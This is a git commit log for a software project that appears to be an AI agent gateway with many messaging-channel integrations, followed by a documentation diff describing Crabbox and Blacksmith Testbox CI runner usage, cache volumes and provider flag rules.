Vincent Koc
1de9f99ea8 fix(ci): repair current test type fixtures 2026-05-30 17:35:02 +01:00
Peter Steinberger
60f8e18372 fix(nvidia): bound featured model cache expiry 2026-05-30 12:34:53 -04:00
Peter Steinberger
e52b4bce01 fix(bedrock): bound discovery cache expiry 2026-05-30 12:33:07 -04:00
mushuiyu_xydt
f93a558892 fix(plugins): ignore helper files in extension roots
Fixes #88198.

Ignore top-level helper scripts in auto-discovered global/workspace extension roots so they do not become manifestless plugin candidates during config validation. Standalone plugin files remain supported when explicitly configured through `plugins.load.paths`, and docs now call out the supported path.

Verification:
- `node scripts/run-vitest.mjs src/plugins/discovery.test.ts src/config/config.plugin-validation.test.ts`
- `node scripts/run-oxlint.mjs src/plugins/discovery.ts src/plugins/discovery.test.ts src/config/config.plugin-validation.test.ts`
- `git diff --check`
- GitHub CI green at `93073bfa85ee294e644c623881ba59ba71d90975`
- `.agents/skills/autoreview/scripts/autoreview --mode branch --base origin/main`

Thanks @mushuiyu886 for the fix and @mmhzlrj for the report.
2026-05-30 17:31:53 +01:00
Peter Steinberger
5ba3505fed fix(bedrock): bound mantle iam token expiry 2026-05-30 12:31:08 -04:00
Peter Steinberger
18e7d28b21 perf(gateway): reuse stable turn metadata 2026-05-30 17:30:47 +01:00
Peter Steinberger
02ca283716 fix(outbound): bound current conversation expiry 2026-05-30 12:27:26 -04:00
Peter Steinberger
4f0e3cb621 fix(plugin-sdk): bound live catalog cache expiry 2026-05-30 12:25:14 -04:00
Martin Kessler
73a69d9e64 fix(outbound): pack newline-mode paragraphs up to limit
Pack newline-mode outbound paragraphs up to the configured text limit instead of sending one message per blank-line-separated paragraph. Preserves markdown fence guardrails and adds focused chunking plus outbound delivery regressions.\n\nVerified: autoreview clean; node scripts/run-vitest.mjs src/auto-reply/chunk.test.ts src/infra/outbound/deliver.test.ts; git diff --check origin/main...HEAD.\n\nThanks @kesslerio.
2026-05-30 17:24:57 +01:00
Peter Steinberger
b1911a7cd3 fix(gateway): bound run session miss cache expiry 2026-05-30 12:22:24 -04:00
Peter Steinberger
450642a897 fix(agents): bound native permission approval expiry 2026-05-30 12:20:29 -04:00
Vincent Koc
f7a1903bfc fix(discord): avoid private test session intersection 2026-05-30 17:18:51 +01:00
Peter Steinberger
61cf22f147 fix(agents): bound native hook relay expiry 2026-05-30 12:17:36 -04:00
Peter Steinberger
55505776fb fix(gateway): bound transcription relay session expiry 2026-05-30 12:15:06 -04:00
brokemac79
3c91928bae fix(codex): refresh stale managed runtime plugin
Refresh stale managed Codex runtime plugin installs during doctor repair and restore Codex status usage attribution. Thanks @brokemac79.
2026-05-30 17:15:04 +01:00
Peter Steinberger
6ac7564918 fix(gateway): bound realtime relay session expiry 2026-05-30 12:13:10 -04:00
Peter Steinberger
23e1aac9b2 fix(feishu): bound sender name cache expiry 2026-05-30 12:10:19 -04:00
Peter Steinberger
c65af78853 fix(discord): bound realtime wake followup expiry 2026-05-30 12:06:57 -04:00
Vincent Koc
4155ac1c0d fix(scripts): make kitchen sink rpc help inert 2026-05-30 18:04:44 +02:00
Peter Steinberger
cfe5544b30 fix(qqbot): honor legacy c2c stream progress 2026-05-30 17:02:41 +01:00
Peter Steinberger
d7b901a1e7 fix(discord): bound speaker context cache expiry 2026-05-30 12:02:18 -04:00
Peter Steinberger
5225a8c644 fix(gateway): bound config schema cache expiry 2026-05-30 12:00:37 -04:00
Peter Steinberger
fc50f949d4 Add per-agent SQLite cache store (#88349)
* feat: add per-agent sqlite cache store

* fix: preserve sqlite cache adapter scope

* chore: mark sqlite cache scaffold intentional
2026-05-30 17:00:24 +01:00
samzong
f6b40861f7 fix(qqbot): deliver partial tool progress
Fixes #66509.

QQBot now sends text-only tool progress immediately when partial streaming is enabled instead of buffering it until a fallback timer that is cleared by the final block. Immediate progress uses QQ plain-text sends so markdown-enabled accounts do not reinterpret media-like progress text, while streaming-off behavior remains final-only.

Thanks @gabrielduartesignart for the report.

Co-authored-by: samzong <samzong.lu@gmail.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-05-30 17:00:09 +01:00
Peter Steinberger
f491d420f7 fix(tailscale): bound whois cache expiry 2026-05-30 11:58:07 -04:00
Peter Steinberger
ef0882e17e fix(google): bound gemini oauth token expiry 2026-05-30 11:55:02 -04:00
Peter Steinberger
697bafa9c9 fix(google): bound vertex adc token cache expiry 2026-05-30 11:52:19 -04:00
Peter Steinberger
77761f4a3e fix(msteams): bound parent thread cache expiry 2026-05-30 11:49:47 -04:00
Peter Steinberger
0e2694ff47 fix(msteams): bound team id cache expiry 2026-05-30 11:47:00 -04:00
Peter Steinberger
5eb71927b7 fix(whatsapp): bound group metadata cache expiry 2026-05-30 11:45:05 -04:00
Vincent Koc
cbd8049b9f fix(scripts): parse forwarded package script options 2026-05-30 17:44:14 +02:00
Peter Steinberger
19f22b5924 fix(feishu): bound approval card expiry 2026-05-30 11:41:43 -04:00
Peter Steinberger
05634708e0 fix(feishu): bound quick action launcher expiry 2026-05-30 11:38:50 -04:00
Vincent Koc
536c00991f fix(gateway): guard traced channel handoff stops 2026-05-30 16:36:43 +01:00
Peter Steinberger
c94c43d3bb fix(feishu): bound card action chat cache clocks 2026-05-30 11:36:19 -04:00
Nimrod Gutman
8a99c0d17a feat(ios): refresh app store metadata (#88235)
Merged via squash.

Prepared head SHA: a54d2ffad2
Co-authored-by: ngutman <1540134+ngutman@users.noreply.github.com>
Co-authored-by: ngutman <1540134+ngutman@users.noreply.github.com>
Reviewed-by: @ngutman
2026-05-30 18:36:01 +03:00
Peter Steinberger
30e1556cda refactor: extract model catalog core package
* refactor: extract model catalog core package

* refactor: route model catalog imports through package boundary

* build: include model catalog in plugin sdk package dts

* fix: preserve static fallback model metadata
2026-05-30 16:33:45 +01:00
Peter Steinberger
ec15f90a55 fix(feishu): bound group name cache clocks 2026-05-30 11:33:30 -04:00
Peter Steinberger
3da34a4673 fix(feishu): bound probe cache expiry clocks 2026-05-30 11:31:16 -04:00
Peter Steinberger
f91ddefbfb fix(zalo): bound hosted media expiry clocks 2026-05-30 11:29:33 -04:00
Vincent Koc
84385898ec fix(deps): remove photon root runtime 2026-05-30 16:27:48 +01:00
Peter Steinberger
6c7642b532 fix(workboard): bound claim expiry timestamps 2026-05-30 11:27:09 -04:00
Peter Steinberger
9988a37d37 fix(phone-control): bound arm expiry timestamps 2026-05-30 11:24:36 -04:00
Peter Steinberger
37b33d11ce test: isolate channel manager teardown 2026-05-30 16:24:34 +01:00
Peter Steinberger
7086e34533 feat(workboard): persist orchestration metadata in sqlite
Persist Workboard orchestration data in plugin SQLite KV storage, including board metadata, cards, notification subscriptions, decomposition history, and board lifecycle/RPC support.
2026-05-30 16:24:14 +01:00
Peter Steinberger
20fbb8bd14 fix(mattermost): bound slash validation cache clocks 2026-05-30 11:22:25 -04:00
Peter Steinberger
8e90a1cad9 fix(slack): bound subteam member cache clocks 2026-05-30 11:19:34 -04:00
Peter Steinberger
7e3ebb8e10 fix(slack): bound external menu cache clocks 2026-05-30 11:17:13 -04:00
Peter Steinberger
06b2bf1c0a fix(telegram): bound forum flag cache clocks 2026-05-30 11:15:03 -04:00
Peter Steinberger
d649548a7a fix(active-memory): bound recall cache clocks 2026-05-30 11:13:04 -04:00
Vincent Koc
5adc681238 refactor: share approval lookup state 2026-05-30 17:12:03 +02:00
Vincent Koc
53e8dc6a54 fix(scripts): stop parsing after option terminators 2026-05-30 17:10:36 +02:00
Peter Steinberger
2d0a0c5e43 test: clear channel manager restart timers 2026-05-30 16:09:38 +01:00
Peter Steinberger
b668ffe7ca fix(slack): bound thread resolution cache clocks 2026-05-30 11:09:21 -04:00
Peter Steinberger
6736936cbc fix(slack): bound thread starter cache clocks 2026-05-30 11:06:47 -04:00
Peter Steinberger
8539e0283a fix(slack): bound app mention retry clocks 2026-05-30 11:04:24 -04:00
Peter Steinberger
ef88f0f949 perf(sessions): skip prompt hydration for metadata reads 2026-05-30 16:03:39 +01:00
Peter Steinberger
816c692035 fix(slack): bound member cache clocks 2026-05-30 11:01:19 -04:00
Peter Steinberger
c635e560d0 build: update rastermill to 0.3.1 2026-05-30 16:01:14 +01:00
Vincent Koc
ccb59d989b fix(scripts): honor memory fd option terminator 2026-05-30 17:00:54 +02:00
Vincent Koc
642f85dc5b test(sdk): resolve local package deps in pack smoke 2026-05-30 15:57:18 +01:00
Vincent Koc
53300a5c1a refactor: share skills method validation 2026-05-30 16:56:36 +02:00
Vincent Koc
b51610a1c3 fix(ci): serialize gateway server vitest project 2026-05-30 15:56:25 +01:00
Peter Steinberger
5269924ff8 fix(imessage): bound probe cache clocks 2026-05-30 10:55:53 -04:00
Peter Steinberger
62fa5692cb fix(imessage): bound chat list cache clocks 2026-05-30 10:52:38 -04:00
Peter Steinberger
2d4369d176 fix(signal): bound api mode cache clocks 2026-05-30 10:50:44 -04:00
Peter Steinberger
99e8cf22a8 fix(web): bound tool cache expiry clocks 2026-05-30 10:47:46 -04:00
Vincent Koc
e780a6b7ba fix(agents): type configured fallback model metadata 2026-05-30 16:45:53 +02:00
Vincent Koc
313554059c fix(docs): route anchor audit through pnpm runner 2026-05-30 16:45:52 +02:00
Peter Steinberger
77b334a984 fix(mattermost): bound reaction cache clocks 2026-05-30 10:43:44 -04:00
Peter Steinberger
ab67a198c1 fix(mattermost): bound monitor cache clocks 2026-05-30 10:41:19 -04:00
Peter Steinberger
9ef5a9afdc fix(discord): bound REST entity cache clocks 2026-05-30 10:38:26 -04:00
Vincent Koc
c39fbdb698 refactor: share web login request validation 2026-05-30 16:37:35 +02:00
Peter Steinberger
d33d6bfafa fix(discord): bound channel info cache clocks 2026-05-30 10:34:45 -04:00
Peter Steinberger
2209f71a78 fix(oauth): reject date-invalid token expiries 2026-05-30 10:31:36 -04:00
Peter Steinberger
f13a615036 fix(foundry): bound entra token expiry clocks 2026-05-30 10:29:26 -04:00
Peter Steinberger
5660b67062 fix(google-meet): bound oauth fallback expiry clocks 2026-05-30 10:26:07 -04:00
Vincent Koc
1d21646e96 fix(ci): type static catalog runtime metadata 2026-05-30 15:23:48 +01:00
Peter Steinberger
55d4456751 fix(webhook): bound replay response expiry timestamps 2026-05-30 10:21:50 -04:00
Peter Steinberger
a80d9f00f1 test(imessage): align SMS route expectations 2026-05-30 15:18:30 +01:00
Peter Steinberger
22d635080d fix(feishu): guard streaming token expiry clocks 2026-05-30 10:14:14 -04:00
Peter Steinberger
d5be702f86 fix(gateway): guard assistant media ticket clocks 2026-05-30 10:08:32 -04:00
Vincent Koc
3d66d203d0 test(daemon): keep systemd tests off real systemctl 2026-05-30 15:03:37 +01:00
Peter Steinberger
a918e93421 fix(cron): keep out-of-range atMs invalid 2026-05-30 10:00:45 -04:00
Vincent Koc
56eadf36d0 refactor: share approval resolve param parsing 2026-05-30 15:57:57 +02:00
Peter Steinberger
912f663173 fix(agents): guard compaction successor timestamps 2026-05-30 09:56:55 -04:00
Peter Steinberger
f44af7eebf fix(gateway): guard live probe schedule timestamps 2026-05-30 09:52:20 -04:00
Peter Steinberger
65fe2b7e91 ci: tolerate release branches without llm core package 2026-05-30 14:48:08 +01:00
Peter Steinberger
941e04e9f3 fix: clamp configured OpenAI-compatible output tokens 2026-05-30 14:46:30 +01:00
AI-HUB
f327073fb3 fix: classify ws pre-handshake close as benign
Classify the exact `ws` pre-handshake close-before-open error as a benign uncaught network exception so transient Feishu WebSocket cleanup does not crash the gateway process.

The classifier now keeps the upstream `ws` message as an exact contract and rejects broader prefixed WebSocket messages, with regression coverage for direct, wrapped, and non-exact cases.

Fixes #88257.
Thanks @akrimm702.

Co-authored-by: AI-HUB <144416483+akrimm702@users.noreply.github.com>
2026-05-30 15:45:23 +02:00
Peter Steinberger
41e5acbb6c perf(gateway): skip unchanged auth persistence writes 2026-05-30 14:44:45 +01:00
Peter Steinberger
2333d47a1e fix(matrix): guard verification timestamps 2026-05-30 09:43:09 -04:00
Vincent Koc
c9e481ac48 refactor: share approval request registration 2026-05-30 15:40:49 +02:00
scotthuang
462e315953 fix(ui): stop pulsing completed stream segments
Completed WebChat stream segment bubbles now render without the active streaming animation after live output has moved on. The UI chat item contract now marks completed stream segments as non-streaming and the active stream as streaming, so the renderer applies the pulsing class only to live output.

Verified with:
- node scripts/run-vitest.mjs ui/src/ui/chat/build-chat-items.test.ts ui/src/ui/chat/grouped-render.test.ts ui/src/ui/views/chat.test.ts
- node scripts/run-tsgo.mjs -p test/tsconfig/tsconfig.test.ui.json --incremental --tsBuildInfoFile .artifacts/tsgo-cache/test-ui-stream-artifacts.tsbuildinfo
- .agents/skills/autoreview/scripts/autoreview --mode branch --base origin/main

PR: #88225
Credit: @scotthuang
2026-05-30 15:40:12 +02:00
Peter Steinberger
6b14df7792 fix(qqbot): guard token expiry logging 2026-05-30 09:38:58 -04:00
Vincent Koc
e449392c4f fix(e2e): route telegram proof through pnpm runner 2026-05-30 15:33:38 +02:00
Peter Steinberger
326db58229 fix(gateway): guard hook job timestamps 2026-05-30 09:33:19 -04:00
Vincent Koc
3caf4facec fix(test): include workflow lint target in routing expectation (#88310) 2026-05-30 14:29:26 +01:00
Peter Steinberger
c9a97f54e0 fix(discord): preserve preference recency under invalid clocks 2026-05-30 09:29:02 -04:00
Vincent Koc
85506c36a0 fix(e2e): route secret proof through pnpm runner 2026-05-30 15:25:15 +02:00
Ayaan Zaidi
a176b8ec2f perf(cli): compact resumed room-event prompts 2026-05-30 18:53:59 +05:30
Ayaan Zaidi
2b726457d8 fix(cli): persist first room-event session binding 2026-05-30 18:53:59 +05:30
Vincent Koc
6464f8d1d9 refactor: share visible approval list mapping 2026-05-30 15:19:10 +02:00
Peter Steinberger
a17c7a56da fix(sessions): guard transcript append timestamps 2026-05-30 09:08:20 -04:00
Peter Steinberger
98a1aa491f fix(gateway): guard lock payload timestamps 2026-05-30 09:04:34 -04:00
Vincent Koc
25b87b111d refactor: share find tool result builder 2026-05-30 15:00:22 +02:00
Peter Steinberger
f823123aa5 fix(time): centralize date timestamp fallback 2026-05-30 08:59:36 -04:00
Vincent Koc
d717ff71bf fix(live): reject loose heartbeat intervals 2026-05-30 14:56:58 +02:00
Peter Steinberger
840192caa9 fix(diffs): cap artifact expiry overflow 2026-05-30 08:54:56 -04:00
Vincent Koc
61ef6b12dd test(agents): harden code mode wait timeout 2026-05-30 13:53:25 +01:00
Peter Steinberger
660a6dec7f fix(cron): reject out-of-range cli relative times 2026-05-30 08:52:47 -04:00
Peter Steinberger
e49ef86945 fix(cron): guard timestamp validation clocks 2026-05-30 08:49:58 -04:00
Peter Steinberger
d2f69ecc3b fix(migrate): guard report timestamp formatting 2026-05-30 08:46:55 -04:00
Vincent Koc
a89abcb1e9 fix(release): reject loose npm verifier retry limits 2026-05-30 14:46:28 +02:00
Peter Steinberger
8bf7bc5b5c fix(sessions): guard archive timestamp formatting 2026-05-30 08:43:22 -04:00
Vincent Koc
4e2ef87c31 refactor: share git url parsing helpers 2026-05-30 14:42:17 +02:00
Vincent Koc
ec58491f75 fix(e2e): reject loose upgrade probe limits 2026-05-30 14:40:12 +02:00
Peter Steinberger
0840fea50d fix(matrix): guard startup verification timestamps 2026-05-30 08:38:12 -04:00
Vincent Koc
cf60e83118 fix(e2e): scope strict ClawHub preflight limits 2026-05-30 14:33:56 +02:00
Peter Steinberger
7ad2ebb515 fix(google): guard realtime browser session expiries 2026-05-30 08:33:06 -04:00
Peter Steinberger
3c41e1722f fix(discord): guard timeout expiry dates 2026-05-30 08:29:15 -04:00
Vincent Koc
dd5b70bcc4 refactor: share web search provider load context 2026-05-30 14:25:30 +02:00
Peter Steinberger
30c0422a8e fix(commitments): guard extraction prompt timestamps 2026-05-30 08:24:27 -04:00
Vincent Koc
6d43200248 fix(e2e): reject loose Telegram proof log limits 2026-05-30 14:23:40 +02:00
Peter Steinberger
be3153cabb fix(update): guard startup timestamps 2026-05-30 08:18:55 -04:00
Vincent Koc
56995069f1 fix(ci): preserve goal continuation prompts 2026-05-30 13:17:57 +01:00
Vincent Koc
2238e0ce76 fix(e2e): reject loose tool search fetch limits 2026-05-30 14:17:15 +02:00
Vincent Koc
38a463fe93 fix(deps): remove sharp from root package 2026-05-30 13:15:05 +01:00
Vincent Koc
e1f462b352 fix(e2e): reject loose Telegram Bot API limits 2026-05-30 14:11:43 +02:00
Peter Steinberger
ccd635fdb9 fix(memory-core): guard short-term recall timestamps 2026-05-30 08:10:54 -04:00
Vincent Koc
27dce6c6bb refactor: share embedded run abort loop 2026-05-30 14:09:15 +02:00
Peter Steinberger
9c08d8cd35 fix(memory-core): guard injected timestamps 2026-05-30 08:06:42 -04:00
Vincent Koc
dc5b3ecc4c fix(tui): continue goal commands after creation 2026-05-30 13:03:33 +01:00
Ayaan Zaidi
95f66a34e7 fix(gateway): honor queued manual restarts 2026-05-30 17:33:18 +05:30
Ayaan Zaidi
1695ee2f43 fix(gateway): defer recovery restarts to callers 2026-05-30 17:33:18 +05:30
Ayaan Zaidi
801520b0f0 fix(gateway): consume recovery restart edge cases 2026-05-30 17:33:18 +05:30
Ayaan Zaidi
8ba79d72b4 test(gateway): cover reload stop timeout restart 2026-05-30 17:33:18 +05:30
Ayaan Zaidi
5876ba6152 fix(gateway): restart channels after timed-out reload stop 2026-05-30 17:33:18 +05:30
Peter Steinberger
5b895f2592 fix(memory-wiki): guard injected timestamps 2026-05-30 08:02:26 -04:00
Peter Steinberger
fb61363763 fix(auto-reply): guard date stamp formatting 2026-05-30 07:58:51 -04:00
Vincent Koc
07e0af44b3 fix(e2e): reject loose MCP channel limits 2026-05-30 13:55:39 +02:00
Peter Steinberger
059d5405fe fix(infra): guard backup creation timestamps 2026-05-30 07:53:55 -04:00
Vincent Koc
cd37dbd4e5 refactor: share block reply coalescer enqueue 2026-05-30 13:51:47 +02:00
Vincent Koc
3e8d06a6be fix(ci): include workflow guard target 2026-05-30 12:50:38 +01:00
Peter Steinberger
2f07e4e6c0 fix(agents): guard current time context timestamp 2026-05-30 07:47:11 -04:00
Peter Steinberger
15fb3314de fix(discord): guard model picker legacy dates 2026-05-30 07:43:47 -04:00
Peter Steinberger
5a019e7725 fix(auto-reply): guard subagent info timestamps 2026-05-30 07:34:01 -04:00
Vincent Koc
aea31934d4 refactor: share directory id collection 2026-05-30 13:32:27 +02:00
Peter Steinberger
8ec7e80cb2 fix(agents): bound cli oauth jwt expiries 2026-05-30 07:29:59 -04:00
Peter Steinberger
6c3533d8c4 fix(ui): guard debug event timestamps 2026-05-30 07:23:02 -04:00
Vincent Koc
9c313a7826 fix(test): preserve live test passthrough flags 2026-05-30 13:20:02 +02:00
Peter Steinberger
368a719879 fix(ui): guard dreaming next-cycle timestamps 2026-05-30 07:19:22 -04:00
Peter Steinberger
ec7e3eaf64 fix(ui): guard chat picker session timestamps 2026-05-30 07:15:40 -04:00
Vincent Koc
8bcdab8933 refactor: share oauth identity safety check 2026-05-30 13:14:10 +02:00
Peter Steinberger
c2f0d811e7 fix(ui): guard next run weekday formatting 2026-05-30 07:12:51 -04:00
Peter Steinberger
8f3d3a549d fix(ui): guard usage chart timestamps 2026-05-30 07:10:21 -04:00
Peter Steinberger
d389a52494 fix(ui): centralize invalid date formatting 2026-05-30 07:07:13 -04:00
Vincent Koc
346b14a51a fix(test): route conventional script tests 2026-05-30 13:00:33 +02:00
Vincent Koc
ffa2da8478 fix(test): skip broad changed import scans 2026-05-30 13:00:33 +02:00
Vincent Koc
61a768be75 fix(test): route script library changes 2026-05-30 13:00:33 +02:00
Vincent Koc
3d8a77a113 fix(test): route package tooling changes 2026-05-30 13:00:33 +02:00
Vincent Koc
a6a358f1a6 fix(test): route ci tooling changes 2026-05-30 13:00:33 +02:00
Vincent Koc
131dc4eaeb fix(test): route workflow helper changes 2026-05-30 13:00:33 +02:00
Vincent Koc
022fd55bad fix(test): route crabbox changed tests 2026-05-30 13:00:33 +02:00
Vincent Koc
d9820e4098 fix(ci): disable crabbox on-demand fallback 2026-05-30 13:00:33 +02:00
Vincent Koc
a4ebdc9aa1 fix(test): guard run-with-env help 2026-05-30 13:00:32 +02:00
Vincent Koc
cf2461f7f6 fix(test): guard live runner help 2026-05-30 13:00:32 +02:00
Vincent Koc
f5f829db79 fix(test): guard tsdown runner help 2026-05-30 13:00:32 +02:00
Vincent Koc
a06daab97e fix(test): guard build runner help 2026-05-30 13:00:32 +02:00
Vincent Koc
09f094057a fix(test): guard verify runner help 2026-05-30 13:00:32 +02:00
Vincent Koc
9def042fab fix(test): guard check runner help 2026-05-30 13:00:32 +02:00
Vincent Koc
f6adea5757 fix(test): guard force runner help 2026-05-30 13:00:32 +02:00
Vincent Koc
78f4a5c05f fix(tooling): ignore inline type-only re-exports 2026-05-30 13:00:32 +02:00
Vincent Koc
731a7af9c5 fix(test): keep wrapper help metadata-only 2026-05-30 13:00:32 +02:00
Vincent Koc
ffa4342a6a fix(test): route docker e2e script targets 2026-05-30 13:00:32 +02:00
Vincent Koc
550a134cf9 fix(tooling): forward oxlint shard cancellation 2026-05-30 13:00:32 +02:00
Vincent Koc
1b43e84d0d fix(test): batch explicit source route resolution 2026-05-30 13:00:32 +02:00
Vincent Koc
31f0635f4f fix(test): route explicit source targets narrowly 2026-05-30 13:00:31 +02:00
Vincent Koc
1c65e2e7c1 fix(tooling): bound oxlint shard stalls 2026-05-30 13:00:31 +02:00
Vincent Koc
b6f3fe7938 fix(test): route explicit helper targets narrowly 2026-05-30 13:00:31 +02:00
Vincent Koc
d65b3a68aa perf(cli): keep plugins JSON list on snapshot path 2026-05-30 13:00:31 +02:00
Vincent Koc
e2b54fecd8 fix(doctor): reuse lazy state migration import 2026-05-30 13:00:31 +02:00
Vincent Koc
b8067d073a fix(extensions): keep subagent hook facades lazy 2026-05-30 13:00:31 +02:00
Vincent Koc
e420c001d0 perf(policy): cache doctor file reads 2026-05-30 13:00:31 +02:00
Vincent Koc
44b6b79a66 perf(plugin-sdk): cache runtime helper imports 2026-05-30 13:00:31 +02:00
Vincent Koc
3ef2935ac9 perf(browser): reuse chrome mcp import 2026-05-30 13:00:31 +02:00
Vincent Koc
fced29de17 perf(extensions): cache meeting runtime loaders 2026-05-30 13:00:31 +02:00
Vincent Koc
4f074c3235 perf(extensions): cache plugin runtime loaders 2026-05-30 13:00:31 +02:00
Vincent Koc
5df00520cb perf(extensions): cache provider runtime imports 2026-05-30 13:00:30 +02:00
Vincent Koc
b2c85bc0a2 perf(browser): cache registration runtime import 2026-05-30 13:00:30 +02:00
Vincent Koc
5e2e78a75a perf(wizard): cache setup migration imports 2026-05-30 13:00:30 +02:00
Vincent Koc
2196f107da perf(gateway): cache post-attach startup imports 2026-05-30 13:00:30 +02:00
Vincent Koc
ff56a2d7b3 perf(gateway): cache plugin bootstrap imports 2026-05-30 13:00:30 +02:00
Vincent Koc
24cff8a3bc perf(gateway): share model catalog module loader 2026-05-30 13:00:30 +02:00
Vincent Koc
b495ac2abb perf(gateway): cache remote skills startup import 2026-05-30 13:00:30 +02:00
Vincent Koc
3f2585424d perf(gateway): cache plugin HTTP imports 2026-05-30 13:00:30 +02:00
Vincent Koc
9d1a3007d9 perf(gateway): cache model catalog imports 2026-05-30 13:00:30 +02:00
Vincent Koc
b5c163dffa test(doctor): complete browser health mock 2026-05-30 13:00:30 +02:00
Vincent Koc
ee0cf9e5bb perf(gateway): cache session event imports 2026-05-30 13:00:30 +02:00
Vincent Koc
37fdfa0e0b perf(doctor): cache health contribution imports 2026-05-30 13:00:30 +02:00
Vincent Koc
d550b804b8 perf(doctor): cache core check imports 2026-05-30 13:00:30 +02:00
Vincent Koc
05988500bc perf(crestodian): cache operation imports 2026-05-30 13:00:29 +02:00
Vincent Koc
b01290cf64 perf(cli): cache command ownership imports 2026-05-30 13:00:29 +02:00
Vincent Koc
117f6fb254 test(agents): complete provider runtime mock 2026-05-30 13:00:29 +02:00
Vincent Koc
c363816fea perf(cli): cache runtime startup imports 2026-05-30 13:00:29 +02:00
Vincent Koc
aeed31cdb1 perf(cli): cache root help imports 2026-05-30 13:00:29 +02:00
Vincent Koc
58c8c022c5 perf(entry): cache root help module imports 2026-05-30 13:00:29 +02:00
Vincent Koc
2cfae61743 perf(onboarding): split ClawHub install error codes 2026-05-30 13:00:29 +02:00
Vincent Koc
c6b4daf426 perf(health): remove duplicate config import 2026-05-30 13:00:29 +02:00
Vincent Koc
348fabe04d perf(auto-reply): remove reset model duplicate import 2026-05-30 13:00:29 +02:00
Vincent Koc
6c83e8e7e4 perf(models): cache provider index catalog import 2026-05-30 13:00:29 +02:00
Vincent Koc
817b6259c4 perf(agents): cache live model runtime import 2026-05-30 13:00:29 +02:00
Vincent Koc
959af0fa5b perf(cli): cache secrets command imports 2026-05-30 13:00:29 +02:00
Vincent Koc
669b26a3dc perf(cli): cache routed command imports 2026-05-30 13:00:28 +02:00
Vincent Koc
67c139fc36 perf(cli): cache status command imports 2026-05-30 13:00:28 +02:00
Vincent Koc
8b6829e1bc perf(cli): cache plugin runtime imports 2026-05-30 13:00:28 +02:00
Vincent Koc
86e6fbcf52 perf(cli): cache agent bind command import 2026-05-30 13:00:28 +02:00
Vincent Koc
9b4b3aa348 perf(cli): cache plugins command imports 2026-05-30 13:00:28 +02:00
Vincent Koc
51ab2c0d79 perf(cli): cache models runtime import 2026-05-30 13:00:28 +02:00
Vincent Koc
bdd9c70787 perf(cli): cache devices runtime import 2026-05-30 13:00:28 +02:00
Vincent Koc
1ff95ff3e6 perf(doctor): cache health config import 2026-05-30 13:00:28 +02:00
Peter Steinberger
7c5b55c5ff fix(ui): ignore invalid reset timestamps 2026-05-30 07:00:01 -04:00
Vincent Koc
b0d6076208 refactor: share setup dashboard open flow 2026-05-30 12:55:19 +02:00
Peter Steinberger
4385e57dce fix(doctor): tolerate invalid cron atMs 2026-05-30 06:54:58 -04:00
Vincent Koc
eb45c1c623 fix(scripts): report missing workflow linter fallback 2026-05-30 12:52:54 +02:00
Peter Steinberger
adf981de89 fix(imessage): tolerate invalid catchup cursor timestamps 2026-05-30 06:46:09 -04:00
Peter Steinberger
023a101b91 fix(heartbeat): tolerate invalid commitment due timestamps 2026-05-30 06:41:16 -04:00
Peter Steinberger
8b92aca27f refactor: extract media understanding common package (#88297)
* refactor: extract media understanding common package

* test: move media understanding format test
2026-05-30 12:40:49 +02:00
Peter Steinberger
b13fb788b5 fix(commitments): tolerate invalid due timestamps 2026-05-30 06:36:49 -04:00
Vincent Koc
87c0ee7685 refactor: share config observe recovery restore helpers 2026-05-30 12:35:36 +02:00
Peter Steinberger
eef32e94c7 fix(memory-wiki): tolerate invalid source mtimes 2026-05-30 06:33:13 -04:00
Peter Steinberger
1350efcfd8 fix(acp): tolerate invalid status timestamps 2026-05-30 06:27:44 -04:00
Peter Steinberger
e7ef051149 fix(slack): tolerate invalid interaction datetimes 2026-05-30 06:23:39 -04:00
Peter Steinberger
2b5ddf8f2a fix(acp): tolerate invalid session timestamps 2026-05-30 06:19:44 -04:00
Vincent Koc
6f655573d3 refactor: share parallels smoke lifecycle 2026-05-30 12:18:46 +02:00
Peter Steinberger
8aabf45ddb fix(memory-wiki): tolerate invalid chatgpt timestamps 2026-05-30 06:16:03 -04:00
Peter Steinberger
4d4748e807 fix(voice-call): tolerate invalid ended timestamps 2026-05-30 06:10:40 -04:00
Peter Steinberger
439c09668e fix(ui): ignore invalid usage export timestamps 2026-05-30 06:06:19 -04:00
Peter Steinberger
54bbe87cd5 fix(ui): ignore invalid chat export timestamps 2026-05-30 06:02:38 -04:00
Peter Steinberger
6804b7cb71 fix(matrix): ignore invalid device timestamps 2026-05-30 05:59:10 -04:00
Peter Steinberger
63470e99f0 fix(session): tolerate invalid lifecycle expiry 2026-05-30 05:53:24 -04:00
4306 changed files with 115760 additions and 39222 deletions

View File

@@ -223,6 +223,21 @@ Read the JSON summary and the Testbox line. Useful fields:
- Actions run URL/id from the Testbox output
- `exitCode`
Use provider-backed cache volumes only for rebuildable caches, not secrets or
checkout state. On Blacksmith, Crabbox forwards them as sticky disks:
```sh
node scripts/crabbox-wrapper.mjs run \
--provider blacksmith-testbox \
--cache-volume pnpm-store=openclaw-node24-pnpm-lock:/tmp/openclaw-pnpm-store \
--timing-json \
-- \
corepack pnpm check:changed
```
The selected provider must advertise cache-volume support. If not, omit
`--cache-volume` and rely on kept-lease caches.
`blacksmith testbox list` may hide hydrating or ready boxes. Use:
```sh
@@ -292,7 +307,8 @@ Live-provider debug template for direct AWS/Hetzner leases:
```sh
mkdir -p .crabbox/logs
pnpm crabbox:run -- --provider aws \
CRABBOX_ENV_ALLOW=OPENAI_API_KEY,OPENAI_BASE_URL \
pnpm crabbox:run -- --provider aws \
--preflight \
--allow-env OPENAI_API_KEY,OPENAI_BASE_URL \
--timing-json \
@@ -304,10 +320,8 @@ pnpm crabbox:run -- --provider aws \
```
Do not pass `--capture-*`, `--download`, `--checksum`, `--force-sync-large`, or
`--sync-only` to delegated providers. Also do not pass `--script*`,
`--fresh-pr`, `--full-resync`, or `--env-helper` there. Crabbox rejects these
because the provider owns sync or command transport. `--keep-on-failure` is OK
for delegated one-shots when you need to inspect a failed lease.
`--sync-only` to delegated providers. Crabbox rejects them because the provider
owns sync or command transport.
## Efficient Bug E2E Verification
@@ -590,7 +604,8 @@ Crabbox Blacksmith backend delegates setup to:
The hydration workflow owns checkout, Node/pnpm setup, dependency install,
secrets, ready marker, and keepalive. Crabbox owns dispatch, sync, SSH command
execution, timing, logs/results, and cleanup.
execution, timing, logs/results, cleanup, and cache-volume requests. Blacksmith
implements cache volumes as sticky disks.
Minimal Blacksmith-backed Crabbox run, from repo root:
@@ -685,6 +700,7 @@ crabbox events <run_id> --json
crabbox logs <run_id>
crabbox results <run_id>
